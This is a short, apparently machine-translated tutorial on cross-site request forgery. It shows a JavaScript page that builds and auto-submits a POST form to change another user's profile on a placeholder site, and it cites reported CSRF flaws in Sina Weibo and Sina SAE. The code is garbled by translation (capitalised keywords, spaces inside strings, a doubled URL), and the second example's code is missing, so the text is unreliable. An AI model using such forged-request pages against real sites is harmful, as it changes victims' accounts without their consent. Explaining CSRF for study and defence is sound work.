CSRF (Cross-site request forgery, also known as "one click attack" or session riding.
Example:
For a personCSRF POSTAttackOne click attack
Assume that there are two users: User A and user B.
User A applies for ID 1 and user B applies for ID 2
User A modifies the profile URL assuming: http://www.xxx.com/userinfo.php? Id = 1
The POST parameter is name.
If user A knows that user B's user ID is 2 and user A cannot access user B by modifying the ID, it can launch A CSRF attack.
First, create a page. The page code is as follows:
<Script>
Form = document. createElement ('form ');
Form. setAttribute ("action", "http: // http://www.xxx.com/userinfo.php? Uid = 2 ");
Form. setAttribute ("method", "post ");
Form. setAttribute ("name", "myform ");
Input = document. createElement ('input ');
Input. setAttribute ("type", "text ");
Input. setAttribute ("name", "username ");
Input. setAttribute ("value", "Change User B ");
Document. body. appendChild (form );
Form. appendChild (input );
Document. myform. submit ();
Example B:For allCSRF POSTAttack, One click attack
Here, Sina Weibo follows the vulnerability and uses this principle (the code is from wooyun imlonghao)
<Script> Document. imlonghao. submit (); </Script>
The vulnerability can be triggered by clicking the link. Next, let's talk aboutCSRF GETAttack Also use examples (this example is from wooyun YKS) Sina SAE common developer certification CSRF 1. add & makesure = 1 to the invitation link, and then reply to the Sina developer forum to insert the following code, when someone else opens a post with this code when logging on to SAES, the user will be automatically invited.
You can automatically invite a specified user to view the page. Do you have a different understanding of CSRF?
|